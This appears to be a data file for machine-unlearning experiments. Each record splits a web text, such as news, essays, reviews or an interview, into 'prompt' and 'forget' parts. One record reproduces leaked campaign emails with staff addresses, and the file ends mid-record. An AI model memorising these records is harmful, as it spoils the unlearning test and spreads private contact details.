Lyme disease, ringworm, roundworm, tapeworm, yeast infections, and many other common diseases.\u201d Many other websites list additional ailments, and one hilariously unfactual website even goes as far as saying that it kills 95% of all diseases! Similarly, MMSWiki has an insanely long list that includes things like Down syndrome, Alzheimer\u2019s, diabetes, depression, etc., and, of course, what good would a miracle cure be if it didn\u2019t cure baldness and erectile dysfunction. This type"}
{"prompt": "By ProPublica Friday, April 23rd, 2010 A microbiologist who supervised the work of accused anthrax killer Bruce E. Ivins explained to a National Academy of Sciences panel Thursday why the arithmetic of growing anthrax didn't add up to Ivins' mailing deadly spores in fall 2001. \"Impossible,\" said Dr. Henry S. Heine of a scenario in which Ivins, another civilian microbiologist working for the Army, allegedly prepared the anthrax spores at an Army lab at Fort Detrick. Heine told the 16-member panel that Ivins would have had to grow as many as 10 trillion spores, an astronomical amount that couldn't have", "forget": "gone unnoticed by his colleagues. According to FBI calculations, Ivins accomplished this working after-hours in a special suite for handling lethal agents designated B3, for Biohazard Level 3. A bar chart released by the bureau (PDF) when it closed its nearly 9-year-old Amerithrax case in February showed that in August and September 2001, the months immediately before the first anthrax letters were mailed, Ivins logged 34 more hours in the B3 suite than his combined total for the previous seven months. \"That's more than 8,000 hours (close to a year) short of what he would have needed to grow the anthrax,\" Heine told ProPublica in an interview after his NAS presentation. Heine, one of the few scientists at the Army lab with the skills to grow large batches of anthrax, told ProPublica it would have taken around \"100 liters of liquid anthrax culture,\" or more than 26 gallons, to grow all the dried spores that killed five Americans and infected 17 others. Story continues below... \"He couldn't have done that without us knowing it,\" said Heine. Other biodefense scientists who didn't work with Ivins have done the same calculations and reached the same conclusion as Heine. The FBI declined to comment on this latest challenge to its decision to end one of the most expensive manhunts in the bureau's 102-year history. In closing the case, the agency said Ivins alone was responsible for the anthrax letters. Ivins committed suicide in 2008. Many of Ivins' colleagues and some federal lawmakers protested that the FBI was premature in closing the books on Ivins before the academy had completed its review of the science undergirding the bureau's case. \"To this day, it is still far from clear that Mr. Ivins had either the know-how or access to the equipment needed to produce the"}
{"prompt": "Ferris Bueller\u2019s Day Off came out when I was 15, and as such I consider myself extremely fortunate to have been the perfect age for its theatrical release. The film was huge at my school. Everyone saw it and most kids went twice. John Hughes wrote and directed the film, and it came right after his other monumental teenage film of the time, The Breakfast Club. The two films are mirror images of each other. The Breakfast Club is a film about teenagers having a terrible day and all of the pain and angst that is associated with being a", "forget": "teenager. While Ferris Bueller\u2019s Day Off is about a teenager\u2019s perfect day and how much fun and opportunity there is for teenagers at that age. The other day I caught a documentary about the inside story of the filming of Ferris Bueller. It is a bit cheesy and is one of those obviously made for television specials that stations throw together on the slimmest of budgets. But hidden away at the 1:09:00 minute mark is a startling observable truth of the feminine imperative in action. In the documentary they\u2019re talking about testing the film in front of audiences so as to make any final tweaks before the general release. The executive producer and one of Paramount\u2019s vice presidents at the time, (who was a woman), talk about this first test screening. It all went extremely well but there was one negative reaction, and it was a big negative reaction. It concerned the parade scene when Mia Sara is talking to Cameron, Ferris\u2019s best friend. The line she says goes something like this: It\u2019s so much harder for boys because a girl can always cop out and have a baby and find some guy to support her. Cameron says that this is depressing. Mia replies, It is depressing, but it\u2019s an option. You don\u2019t even have an option. Well, believe it or not, but at that first test screening, girls hated that line. As the VP at Paramount recounts: The young female scores for the film at that first preview were very low, and we realized right away from the cards and the focus group that it all came down to that one line, and we cut the line. I think it\u2019s the most dramatic preview change I\u2019ve ever seen by simply cutting one line. We cut that one line and"}
{"prompt": "Despite predictions of gloom and doom, the province posted a surplus last year of more than $1 billion, no matter how it\u2019s counted. The previous Tory government initially forecast a $514-million surplus last year, but when oil prices plummeted last fall, premier Jim Prentice warned Alberta could end up in the red. The 2014-15 consolidated surplus of $1.1 billion ends of string of six consecutive deficits and boosts the province\u2019s contingency fund to $8.2 billion \u2014 a reserve Finance Minister Joe Ceci says will come in handy in dealing with the drop in non-renewable resource revenue. \u201cGoing forward the climate", "forget": "\u2014 the economy today \u2014 is very different from what it was then,\u201d he told reporters at the legislature Tuesday as the NDP government released the final year-end numbers. But Ceci said he was reluctant to use the cash savings to fill the projected revenue void. \u201cIf we can find a way to achieve greater revenue stability without the use of the contingency account \u2014 though it\u2019s probably not possible \u2014 that would be my first desire,\u201d said the Calgary MLA. \u201cPhilosophically, I think contingencies are there to smooth things out. They\u2019re not there to totally drain the bank account.\u201d Although the price of oil has stayed below $60 US per barrel for much of this year, Ceci said he hoped new corporate tax increases and hikes in personal income tax for the wealthiest Albertans will meet some of the projected shortfall. He also mused about other \u201crevenue measures,\u201d but would not elaborate. During the spring election, the NDP campaigned on a budget with a projected $5.4-billion deficit \u2014 $400-million more red ink than was forecast in the PC budget for 2015-16 that was released in March. The final Tory budget, however, was never passed as the Prentice government called an early election, which it lost to Rachel Notley\u2019s NDP. PC interim Leader Ric McIver said the fact the province recorded a hefty surplus during a period of falling oil prices proves the former government was fiscally prudent and left the province in strong economic shape. \u201cThe government did control expenditures last year because it was the right thing to do,\u201d said McIver, former labour minister in the Prentice government. \u201cThis annual report is a good sign post to go look at what good shape Alberta is in overall.\u201d But Wildrose finance critic Derek Fildebrandt said the report doesn\u2019t reflect"}
{"prompt": "Meditation and the Self Within Can meditation solve our everyday problems? Is there life after death? Can drugs help us achieve self-realization? During a recent visit to South Africa, His Divine Grace A.C. Bhaktivedanta Swami Prabhupada discussed these questions with Bill Faill, a reporter for the Durban Natal Mercury. Srila Prabhupada: \u201cKrishna\u201d is a name for God which means all-attractive. Unless one is all-attractive he cannot be God. So this Krishna consciousness means God consciousness. All of us are small particles of God, equal in quality with Him. Our position as living entities is like that of a small particle", "forget": "of gold in relation to a large quantity of gold. Bill Faill: Are we something like sparks in a fire? Srila Prabhupada: Yes. Both the fire and the spark are fire, but one is big, and the other is very small. Unlike the relationship between the spark and the fire, however, our relationship with God is eternal, although at the present moment we have forgotten that relationship due to contact with the material energy. We are facing so many problems only because of this forgetfulness. If we can revive our original God consciousness, then we shall become happy. This is the sum and substance of Krishna consciousness. It is the best process to revive our original God consciousness. There are different processes of self-realization, but in the present age of Kali, people are very fallen, and they require the simple process of Krishna consciousness. Now they are thinking that so-called material advancement is the solution to their problems, but this is not a fact. The real solution is to get out of the material condition entirely by becoming Krishna conscious. Because God is eternal, we are also eternal, but in the material condition we are thinking, \u201cI am this body,\u201d and therefore we must repeatedly change from body to body. This is due to ignorance. Actually we are not our bodies but spiritual sparks, parts and parcels of God. Bill Faill: Then the body is just like a vehicle for the soul? Srila Prabhupada: Yes. It is just like a motorcar. Just as you go from one place to another in a car, similarly, due to mental concoction in the material condition of life, we are going from one position to another trying to become happy. But nothing will make us happy unless we come to our real position, which"}
{"prompt": "Although there is little case law on medical cannabis use in the Canadian workplace, there are a few cases that can guide both employees and employers on this topic. Today we look at the case of Wilson vs. Transparent Glazing Systems. Gregory Wilson was employed as a glazier and held a medical cannabis prescription for chronic back pain and migraine headaches. His employer was aware of his back pain and that he took medication for his disability. The Project Superintendent of the job site where Wilson was working sent a fax to his employer, Transparent Glazing Systems. The fax indicated", "forget": "it was suspected that he was impaired by the medication he was taking. The employer acted on the fax about the suspected impairment from the medical cannabis, terminating Wilson's employment. The employer stated that his was fired because of his temper, lack of productivity and generally poor attitude in the workplace. Wilson filed a complaint alleging that the employer discriminated against him on the basis of physical disability and his use of medication. The British Columbia Human Rights Tribunal agreed with Wilson and directed the employer to stop its discriminatory practices. Wilson was also awarded a small amount in damages. However, the Tribunal upheld the termination because it was found he would have been fired nevertheless because of his incompetence. What went wrong? One of the main issues is the employer used the complaint from the Project Superintendent related to Wilson's medical cannabis use to initiate his termination when its obvious there were performance issues that were a large concern for the employer. If an employer fires a disabled employee for poor performance, they need to show that the decision was based on the performance alone and not impacted by the disability. Why? Because the employer has a duty to accommodate an employee with a disability and cannot simply fire them as a result of the disability. In this case, the employer muddied the waters by firing Wilson when the complaint about his medical cannabis use was made (which is discriminatory) and then stated they terminated him because of poor performance. If they had simply dealt with his poor performance and acted on that alone, they likely would have avoided the discrimination allegations. The other issue here is the employer didn't talk with Wilson about his disability and medication in an attempt to understand the situation. They simply moved straight"}
{"prompt": "Press Release Blue Light Observations Indicate Water-Rich Atmosphere of a Super-Earth September 3, 2013 A Japanese research team of astronomers and planetary scientists has used Subaru Telescope's two optical cameras, Suprime-Cam and the Faint Object Camera and Spectrograph (FOCAS), with a blue transmission filter to observe planetary transits of super-Earth GJ 1214 b (Gilese 1214 b) (Figure 1). The team investigated whether this planet has an atmosphere rich in water or hydrogen. The Subaru observations show that the sky of this planet does not show a strong Rayleigh scattering feature, which a cloudless hydrogen-dominated atmosphere would predict. When combined with", "forget": "the findings of previous observations in other colors, this new observational result implies that GJ 1214 b is likely to have a water-rich atmosphere. Figure 1: Artist's rendition of a transit of GJ 1214 b in blue light. The blue sphere represents the host star GJ 1214, and the black ball in front of it on the right is GJ 1214 b. (Credit: NAOJ) Super-Earths are emerging as a new type of exoplanet (i.e., a planet orbiting a star outside of our Solar System) with a mass and radius larger than the Earth's but less than those of ice giants in our Solar System, such as Uranus or Neptune. Whether super-Earths are more like a \"large Earth\" or a \"small Uranus\" is unknown, since scientists have yet to determine their detailed properties. The current Japanese research team of astronomers and planetary scientists focused their efforts on investigating the atmospheric features of one super-Earth, GJ 1214 b, which is located 40 light years from Earth in the constellation Ophiuchus, northwest of the center of our Milky Way galaxy. This planet is one of the well-known super-Earths discovered by Charbonneau et. al. (2009) in the MEarth Project, which focuses on finding habitable planets around nearby small stars. The current team's research examined features of light scattering of GJ 1214 b's transit around its star. Current theory posits that a planet develops in a disk of dense gas surrounding a newly formed star (i.e., a protoplanetary disk). The element hydrogen is a major component of a protoplanetary disk, and water ice is abundant in an outer region beyond a so-called \"snow line.\" Findings about where super-Earths have formed and how they have migrated to their current orbits point to the prediction that hydrogen or water vapor is a major atmospheric component of a"}
{"prompt": "The true history of Iceland\u2019s \u2018innovative\u2019 constitutional reform. One of the recurring issues in news coverage on Iceland is how absolutely rubbish foreign news media is at reporting about Iceland. We\u2019ve seen how detached from reality economic news on Iceland is, ignoring our burgeoning mortgage crisis and the consequences of the government\u2019s harsh austerity measures. Their frothy and exuberant reports about Iceland\u2019s proposed new constitution also tend to gloss over the details and ignore domestic discourse in favour of completely fabricated spin. If you read what foreign language blogs and newspapers wrote about the constitution you\u2019d believe that it was", "forget": "a daring experiment going from success to success and that we were now enjoying a completely new crowd-sourced constitution that had been passed into law with a referendum last autumn. Which is not true. A complete and total clusterfuck is much closer to the truth. It started well, with a national forum where a thousand attendees where chosen by lottery. These meetings gathered together a cross-section of society and let them outline what they felt ought to be the priorities in the constitutional process\u2014what issues and matters should be covered. This worked. It resulted in a predictably vague and wishy-washy list of touchy-feely priorities\u2014little more than ordering a list of pre-selected words in order of importance along with a bunch of meaningless single sentence slogans\u2014but it worked. The problems began with the election for a constitutional parliament. First, those running weren\u2019t given nearly enough time to promote and canvass, meaning that the list tat voters could choose from consisted mostly of strangers. Second, the ballot itself was extremely confusing, requiring extensive explanations. Thirdly, and most importantly, a lot of people didn\u2019t believe any of it mattered. Y\u2019see, it was known from the start that whatever the constitutional parliament drafted would be non-binding\u2014that the constitution draft would be rewritten by politicians anyway, rendering the entire exercise somewhat meaningless. So, voter participation reached record lows in Iceland, where we\u2019re used to voter participation in the 80\u201390% range. Fewer than 37% percent voted in the election for the constitutional parliament. And the clusterfuck continued. One thing that most foreign reporters omit is that there is considerable resistance to constitutional reform by a lot of influential groups in Iceland. Another thing omitted is the fact that the government at the time was a mess and couldn\u2019t organise a piss-up in a brewery. So, it"}
{"prompt": "The gravity of how difficult it will be to fully repeal and replace Obamacare is settling in on Capitol Hill. Republican senators who spent years railing against the president\u2019s signature health care law are now trying to find consensus on how they want to make good on their years-long campaign promise to dismantle it \u2013 and the growing consensus is that it is going to take time to find a replacement. \u201cIts gonna take us awhile to make that transition from the repeal to actually replacing it with more affordable health coverage, which provides people better access,\u201d Sen. John Cornyn", "forget": "(R-TX), the Senate majority whip, told reporters Tuesday. \u201cThere is a lot to do so it\u2019s not going to happen overnight.\u201d Republicans\u2019 inability to coalesce around a replacement plan in the six years after Obamacare was passed means they have no easy alternative to queue up with a repeal, which they have vowed to make the top of their agenda next year. Their current inability to settle on a clear repeal and replace plan also reflects the trade-offs that have been dogging the GOP in last half-decade. Within the Republican caucus are deep, philosophical rifts over basic questions about health care policy and the government\u2019s role in providing access to coverage. Lobbing critiques at rising premiums while on the campaign trail was far easier than what comes next as Republican confront the reality that along with their much bemoaned individual mandate, fully repealing Obamacare also would mean unraveling popular provisions and benefits that have become available under the law and expanded health care coverage. Rank and file Republicans Tuesday voiced an array of concerns about what moving too fast could mean for millions of individuals who had attained health care coverage through expanded Medicaid programs in the states and about what would happen to individuals with pre-existing conditions, who under the ACA were able to obtain health insurance. Instead of repealing and replacing Obamacare suddenly, Republicans in the Senate are now discussing a way to \u201ctransition\u201d from Obamacare to their alternative, which is still to be determined. Senators stressed Tuesday that they were leaning toward a process that gave Republicans the opportunity to repeal Obamacare now and then spend an undefined amount of time working on a replacement. \u201cI\u2019m from a state that has an expanded Medicaid population that I am very concerned about,\u201d said Sen. Shelley Moore Capito (R-WV)."}
{"prompt": "It is ok to hate your personal bests. Actually, I\u2019d encourage it. I hate most of mine. When you get a new one, it\u2019s so exciting! You see your name printed next to a fancy new number that you\u2019ve never seen before, and it validates everything you\u2019ve been working towards. But then the next day you wake up, watch the race video and think, \u2018I could have gone faster had I just done this, this and this.\u2019 Maybe the next few weeks you\u2019ll still beam with pride when congratulated on the number, but time passes and it grows old. Then", "forget": "you\u2019re sick of it. And then it\u2019s 3 years of self-loathing and conversations about the existence of short tracks. But when I crossed the finish line in South Carolina and saw the clock was way lower than ever before, I flipped out! In 2012, while a senior at Columbia, I was able to use a few connections to gain a late entry into a small Monday night 1500 at Swarthmore College. Training had been going really well, and racing was on a sharp upswing. I stepped on the line calm and ready, knowing that the 3:39 Olympic Trials qualifying time was well within reach of my fitness. The plan was just to follow the leader, and slowly move up in the field. We strung out immediately, and with the help of Nick Willis pacing for 1300 meters, I ran splits of 59-58-57-41 for the American Collegiate Record* of 3:35.59. A couple years later I had a conversation with Nick about why that race was so fast, and I think he summed it up perfectly: Most rabbits go out fast, slow down and step off after their slowest 100. Now the athletes behind have lost their momentum, and have to shift gears again to head into the kick. In that race, we were wound up and released. If your goal is to break 5 minutes in the mile, you can most likely find a race that would set you up for a chance to do it. It\u2019s nice in HS and most of college, to have so many prospective races setup to get the times you are chasing. Unfortunately, at the professional level, you have to earn [deservedly so] the right to be in those races unless you get lucky being in the right place at the right time (i.e-Swarthmore, Furman)."}
{"prompt": "Every team needs a scapegoat, a hacktastic hitter or struggling reliever. Remember Gregor Blanco last year? Sure you do. If you're in the mood for some yuks, scroll through the #FreeGaryBrown movement, being careful to weed out the ironic mentions. People were so very mad at Blanco, mad enough to completely forget how valuable he was in the previous two seasons. It's like Voltaire tweeted that one time: If the Giants didn't have someone worthy of being scapegoated, it would be necessary to invent him. This year's goat is Ehire Adrianza. Because, hoo, has he been bad. He has a", "forget": ".476 OPS, which is just below Chris Heston and just above Tim Hudson. As such, he has become a cause c\u00e9l\u00e8bre among the grumbling set. What's he's doing out there? Why is he still on the 40-man roster? I hope to answer these questions with a little explainer. What in the world are the Giants thinking by continuing to employ Ehire Adrianza? 1. He's almost certainly not this bad That isn't to say that he's very good, or that he's good at all. He's just not a .476 OPS guy. He's not Hal Lanier with dropsy, even if he's looked like that at the plate. And this isn't to say that Adrianza's dreadful hitting hasn't messed the Giants up, because it certainly has. With a merely bad offensive performance from their backup, the Giants might have an extra win. That's important. But while complaining what Adrianza has done in the past is valid, most of the complaints have to do with him screwing up the team in the future. His true talent, though, isn't so low that the Giants can immediately replace him with someone clearly better. Adrianza's career line in Triple-A is .317/.400/.434. I'll eat a plate of cilantro if he ever tops a .400 OBP in the majors in more than 200 at-bats, but at least it's evidence of some latent skills. It beats any evidence for the players brought up most often as replacements. I'll agree that his bat looks awfully slow and he's often overmatched, but I'll stick by the evaluation that he's not a true .400 OPS guy. He's probably closer to a true .600 OPS guy, which isn't good at all, but nothing that's worse than what the Giants could replace him with. Nick Noonan's career OPS in Triple-A, by the way: .677. League"}
{"prompt": "\u201cIt was an idea whose time had come, and the technology finally caught up with the vision.\u201d -Albert \u201cSkip\u201d Rizzo, Ph.D. If you\u2019re at all familiar with VR, you\u2019ve probably heard that VR is more than \u201cjust games\u201d a time or two. Used to describe applications of VR that go beyond first-person shooters\u2014think education, conservation, training, etc.\u2014the phrase is something that many in the industry intuitively understand. Still, it continues to merit saying, especially when we talk about the research and clinical practice of virtual reality in cognitive and physical therapy treatment by leading psychologists and clinicians\u2014which goes way beyond", "forget": "gaming; it has the potential to change the way we think about therapy altogether. Despite the recent surge in VR development over the last few years, the idea of using virtual reality in a therapeutic setting isn\u2019t a new idea. Research regarding VR simulations to treat specific phobias was around as early as the nineties, but the technology simply wasn\u2019t advanced enough for such treatment to be feasible. Head mounted displays were clunky, computer processing speeds laughable, and 3D graphics downright primitive in comparison to what\u2019s available VR today. Perhaps even more importantly: the technology required for advanced VR in the 90s was too costly to ever be seriously considered for mass distribution. Clearly, things have changed. \u201cWe\u2019re seeing more companies emerge in the last two years than we\u2019ve seen in the last twenty years,\u201d said Skip Rizzo, Ph.D, director for medical virtual reality at the USC Institute for Creative Technologies. \u201cIt was an idea whose time had come, and the technology finally caught up with the vision.\u201d An unlikely contributor led the way in funding and support for VR therapy research: the US military. Operation Iraqi Freedom led to an unforeseen number of troops returning home from the battlefront with physical and emotional trauma, prompting the military to seek out new, innovative treatment options for their soldiers and vets\u2014especially those suffering from Post-Traumatic Stress Disorder. Virtual Iraq VRET was developed from 2005-2007 as an answer to the military\u2019s problem at USC\u2019s Institute for Creative Technologies. During the early stages of development, Rizzo considered different treatment options, but eventually decided on exposure therapy for the project. \u201cWhenever I design a VR application in a clinical area, I look at, okay, what do we know works in the real world that we can use VR to amplify, or extend the effect?\u201d"}
{"prompt": "The Democratic ground has shifted in New York. Yes, the polls suggest Hillary Clinton will win, maybe even handily, Tuesday in what, for want of a more compelling alternative, must be called her home state. But let\u2019s cut to the chase. Going back to the 1950s, the New York primary was the stop on the national schedule where the candidates pledged their loyalty to Israel. I remember very clearly the first New York primary I ever covered, in 1988. That was the year that Ed Koch, then the mayor, famously said that Jews would have to be \u201ccrazy\u201d to vote", "forget": "for Jesse Jackson. But New York has changed, and its Democratic party has changed dramatically since Koch endorsed Al Gore, who, stuck in third place in a three-way race, opened New York\u2019s contest by accusing Michael Dukakis of putting \u201cpublic pressure on Israel\u201d due to his a \u201cnaive legalism, an exaggerated faith in the United Nations, and a seeming reluctance to ever have the United States act on its own when necessary.\u201d From there, it was off to the races as Koch endorsing Gore and firing some wild shots at Dukakis and especially Jackson. That 1988 primary was the worst, but in just about every New York primary since, candidates in both parties have competed to out-Israel each other, which has usually meant adopting not merely pro-Israel talking points but pro-Likud ones. I expressed the fear after Sanders won Wisconsin that Clinton might try to turn New York into an Israel referendum. She could have. And maybe she would have if the polls were closer. But she has not. Not only that. The needle moved significantly, and astoundingly, in the other direction. Here, Sanders deserves tremendous credit. He said at last Thursday\u2019s debate: \u201cAs somebody who is 100 percent pro-Israel, in the long run\u2014and this is not going to be easy, God only knows, but in the long run if we are ever going to bring peace to that region which has seen so much hatred and so much war, we are going to have to treat the Palestinian people with respect and dignity.\u201d An acknowledgement that Palestinians are human beings\u2014during a New York primary, no less! Clinton could have\u2014and 12 or so years ago, undoubtedly would have\u2014responded by saying something like until the Palestinians get better leaders and stop teaching hatred to their children, my posture won\u2019t change. Not"}
{"prompt": "This email has also been verified by Google DKIM 2048-bit RSA key Re: Nightly Labor Update From:nbudzinski@hillaryclinton.com To: re47@hillaryclinton.com CC: mmarshall@hillaryclinton.com, john.podesta@gmail.com, ha16@hillaryclinton.com, arenteria@hillaryclinton.com, bcraig@hillaryclinton.com, lvalmoro@hillaryclinton.com Date: 2015-07-21 10:06 Subject: Re: Nightly Labor Update I'll give you thoughts on that in tonight's report. I think diving into executive boards of unions needs to be done very strategically so we don't create more headache. I'll work on options for tonight. Sent from my iPhone On Jul 21, 2015, at 6:52 AM, Robby Mook <re47@hillaryclinton.com> wrote: I agree we should push to keep those other unions neutral. Any word on their boards", "forget": "and if we can lobby members individually to block a vote? On Jul 20, 2015, at 11:28 PM, Marlon Marshall <mmarshall@hillaryclinton.com> wrote: Thanks Nikki 1. Flagging the Stu comments for Huma given that he just talked to HRC 2. Great letter from AFSCME 3. Awesome on Bricklayers! 4. Nice work with Building Trades Looking forward to chatting with AFT tmrw MM On Jul 20, 2015, at 11:23 PM, Nikki Budzinski <nbudzinski@hillaryclinton.com> wrote: Good evening This afternoon the AFL-CIO convened the Political Committee (usually chaired by AFSCME President Lee Saunders but because of a health issue, Trumka chaired). Interesting intel from this meeting to pass along. *Political Committee Discussion Points today:* 1. Stuart Appelbaum pushed back on the AFT at the meeting regarding their early endorsement process. He stated that he understood there to be a 60 day notification to affiliated unions by an endorsing union. Trumka clarified that that was incorrect. He engaged in debate with Randi Weingarten's Executive Assistant Michelle Ringuette about their process and Trumka cut off debate. Appelbaum also urged no early endorsement by the AFL-CIO in the Presidential primary. Randi personally called today to mention this exchange with Stuart along with the importance of prep for the Executive Council meeting and reconnecting on policy. She stated that she will be directly following up with Appelbaum and was very shocked by his comments at the meeting. Randi is in Canada or would have been there in person. I am attaching a letter from Lee Saunders in the response to attacks Randi has received over the past week, FYI. 2. The Political Committee decided that there would not be a President endorsement recommendation coming off of the Executive Committee meeting by July 30th. This is not news for us but it was formally voted on. This still allows"}
{"prompt": "Before there were the lost Lerner emails, the congressional hearings and the retaliatory budget cuts, there was the Albuquerque Tea Party, a group of politically minded folks in New Mexico who wanted to get together and share ideas for taking back their country. The IRS had other ideas about them. Five years after the Albuquerque Tea Party applied for tax-exempt status under section 501(c)(4) of the tax code, they remain in limbo \u2014 their application apparently no closer to being approved or denied than it was the day they mailed it to the IRS on Dec. 29, 2009. They have", "forget": "watched as other groups have been approved in less time, and they say they are mystified as to why the application has been held up so long, after they provided hundreds of pages of evidence and documents that the IRS requested. \u201cIf the IRS, with its massive staff, read only 1/2 of a page daily of all the paperwork we have had to send them, they could have read it all three years ago,\u201d Rick Harbaugh, secretary of the board of the Albuquerque group, said in an email describing his group\u2019s five-year battle with the tax agency. Worse yet, he said, they still don\u2019t know why they were targeted in the first place, and every explanation from the IRS \u2014 that the targeting was by low-level employees in Ohio, for example \u2014 has been wrong. Mr. Harbaugh said they have letters from the Treasury Department saying their file was being reviewed in Washington. The targeting exploded onto front pages in May 2013 after Lois G. Lerner, head of a division charged with scrutinizing applications for tax-exempt status, planted a question at a law forum so she could break news of the activity. PHOTOS: 20 Age-Defying Celebrities She was trying to beat an inspector general\u2019s report due out a few days later, which said the IRS singled out hundreds of conservative and tea party groups for intrusive scrutiny and refused to approve those applications, which had piled up for years. In the 20 months since, most groups whose applications were held up have been approved. They include the NE Tarrant Tea Party in Tarrant, Texas, which was approved in December after a four-year wait. Julie McCarty, an official with NE Tarrant, said the organization learned about its approval from its attorney at the American Center for Law and Justice. It\u2019s unclear"}
{"prompt": "(I am the only female working in the parts department in our store. Note: at my previous job, I was involved in a violent fight against a male coworker who tried to assault me. They guy ended up at the hospital and no charges were pressed against me since I acted in self-defense. This story is well known by my current coworkers and my boss and I\u2019m teased mercilessly about being a \u201cman-beater.\u201d This particular day, I\u2019m training a new guy to work on the floor and I\u2019m also acting as the shift supervisor since the department manager is off.)", "forget": "Customer: *to my coworker* \u201cI need to find this.\u201d *shows a trailer connector* Coworker: \u201cIt\u2019s my first week here and I\u2019m not sure if we carry this. However, let me ask my coworker here; she\u2019ll tell me if we have some.\u201d Customer: \u201cHer? How can she know something about trailers? She\u2019s a girl. Girls don\u2019t know s*** about trailers!\u201d Coworker: \u201cLet me assure you, sir, she is the most knowledgeable employee we have here.\u201d Customer: \u201cWell, if she think she can do a man\u2019s job, let\u2019s ask her.\u201d (I take a look at his connector.) Me: \u201cI\u2019m sorry sir, but we do not carry this kind of connector. I could order some, but it will take over two weeks before they come in. May I suggest you go over [trailer store] or [another trailer store]? Both are down the road. They are more specialized than us, and they\u2019ll probably have one in stock.\u201d Customer: *to my coworker* \u201cI told you she\u2019ll be useless.\u201d Coworker: \u201cSir, I don\u2019t know what she can tell you more. We don\u2019t keep that kind of stuff in stock, and she suggested two other other store where they sell those kind of products. I think you\u2019ve gotten all the help you need.\u201d Customer: *suddenly starts screaming* \u201cWhy do you refuse to serve me?! I AM A MAN! I AM A CUSTOMER! I deserve RESPECT and OBEDIENCE! Now you will tell me where the f*** you keep those f***ing connectors!\u201d Me: \u201cSir, I already told you; we do not carry them. Those other stores will happily sell one to you, but I can\u2019t because I don\u2019t have any on hand.\u201d Customer: \u201cYou useless b****! Find me a manager with something between his legs so we can discuss man things between men!\u201d Me: \u201cI am the shift supervisor"}
{"prompt": "When they need to cut costs, producers will occasionally re-use and recycle props that were used in other films. Here are 10 that keep turning up in movie after movie. 1. U.S. Marine AV-8B II Harrier Jet from The Avengers and True Lies During The Hulk's battle with Thor on the helicarrier in The Avengers, Thor smashed the Hulk into the same Harrier Jet that was used in the climax of True Lies. Joss Whedon revealed this tidbit on The Avengers' special edition Blu-ray. 2. P.K.E. Meter from Ghostbusters, They Live, and Suburban Commando Dr. Egon Spengler's P.K.E. (Psycho-Kinetic Energy)", "forget": "meter from the original Ghostbusters was re-used in various movies, including They Live and Suburban Commando. While Spengler used the prop device to find ghosts, the P.K.E. meter was used in They Live to track alien life and in Suburban Commando to find a freeze laser. 3. Golden Idol (Ancient Chachapoyan goddess of fertility) from Raiders Of The Lost Ark and The Majestic Twenty years after it appeared in Raiders of the Lost Ark, the iconic golden idol that Indiana Jones tried to steal at the beginning of the film was re-used in The Majestic. It was part of the fictional in-film Sand Pirates of the Sahara, which is actually an homage to Indiana Jones. The golden idol also appeared briefly in Spy Kids 2: Island of Lost Dreams. 4. Space Station Model from Star Trek: The Motion Picture and Star Trek II: The Wrath Of Khan The orbital office complex from Star Trek: The Motion Picture is the same miniature used for the Regula One station from Star Trek II: The Wrath of Khan, just turned upside down. The prop was also re-dressed and re-purposed for Star Trek: The Next Generation, Deep Space Nine, and Voyager. 5. Samurai Swords from Kill Bill and Sin City Devon Aoki's character in Sin City, Miho, used two samurai swords that the character O-Ren Ishii also used in Kill Bill. In the Sin City special edition DVD, co-creators Frank Miller and Robert Rodriguez admitted that in the film's mythology, fictional sword-maker Hattori Hanzo fashioned both katana blades for Kill Bill and Sin City. 6. Flying Car from Blade Runner and Back To The Future II At the end of filming Blade Runner, director Ridley Scott wanted all of the prop vehicles destroyed so that no other movie production could use them in the"}
{"prompt": "In reality, it's a stretch to try to make Krugman into some kind of Friedman-like apologist for QE. But then, you'd have to have actually know something about Friedman to know that. Look, this isn't hard. We can use the Internet find out what Friedman actually thought about QE. And what he thought was that QE could cure a depression (not that the depression itself was the cure, like Paul does). Indeed, here's what Friedman and co-author Anna Schwartz wrote about the Great Depression in their opus, A Monetary History of the United States, 1867-1960: Measures that might have been", "forget": "adequate to cope with the earlier [crises] would have been inadequate for the later ones. On the other hand, as we shall see, the bond purchases actually made in the spring and summer of 1932, which did halt the decline in the stock of money but were inadequate to prevent a substantial relapse some months after, would have been more than adequate to cope with the earlier crises. In other words, Friedman thought the Fed could have kept the Great Depression from being quite so great if it had tried QE sooner. This gets at Friedman's two, related critiques of the 1930s-era Fed: it let the banks fail, and it let the money supply fall. Now, it is true, as Paul points out, that Friedman argued that the pre-Fed bank clearinghouses did a better job managing crises than the Fed did during the depression. (A low bar, to be sure). But Friedman was a pragmatist who recognized that you fight panics with the financial system you have -- so the question was what the Fed could have done. Plenty, Friedman answered. For one, it could have taken its lender-of-last-resort responsibilities seriously, and stopped runs from forcing otherwise healthy banks into collapse. (But that would have been a bit tricky politically, since half of all banks weren't part of the Federal Reserve System back then). For another, it could have bought bonds, and kept buying them, until the money supply started increasing again. It's mostly forgotten now, but the Fed did half-heartedly try this -- that is, QE -- in 1932 to try to preempt Congress from making it do more. That bond-buying is what Friedman was talking about above, and, as you can see, his only problem with it was that it wasn't tried earlier. And then there's Japan. As"}
{"prompt": "Smartwatches are awesome! Smartwatches look kinda dumb a lot of the time! They don't have to though, and the Pebble Steel is proof. The improved look isn't quite enough to make it the perfect smartwatch, but it goes a long, long way. What Is It? It's pretty much the same Pebble smartwatch that took Kickstarter by storm roughly two years ago, now clad in a suit of stainless steel instead of chintzy plastic. So it's the same LED backlit, 144x168 e-paper display, same four button interface, same 5-7 day battery life, and same relatively simple skill set you saw in", "forget": "the original Pebble. But now it's pretty. Like \"wear it with a suit\" pretty. At least I think so; I haven't worn a suit in a while. Advertisement Why Does It Matter? Everyone and his brother is putting out a smartwatch, trying to put out the smartwatch, but no one has been able to make something you'd actually want to own yet. Smartwatches fall in a weird gutter; generally classier than the Livestrongishness of your traditional fitness band and with more functionality, but nerdier than, well, pretty much anything else you can put on your wrist. Advertisement But the Pebble Steel manages to be your most wearable smartwatch option. Not only is Pebble a proven (and popular) player in the nascent smartwatch game, but now it's also the prettiest by far. Pebble beat Apple to making a gadget that is actually jewelry. Design Pretty much the only new thing about the Pebble Steel is its design, and man that design is great. The Pebble Steel may not necessarily be your style, but it has style. Respectable style. Style that would almost make it worth wearing even if it didn't also do smarwatchy stuff. Advertisement The actual watch part of the Pebble is a blocky, angular beauty. A bit chunky, but in a purposeful and retro sort of way. Its form is convincingly deliberate, not just \"whatever shape you have to make it to fit the stuff inside.\" The buttons look and feel solid. The black strip around the side helps accent the sheer shiny silveriness of the whole thing. Then there are the bands. Based on the Steel name you'd expect something metal, and yes, that's what you get. A real metal band. Like one you will probably have to take to a 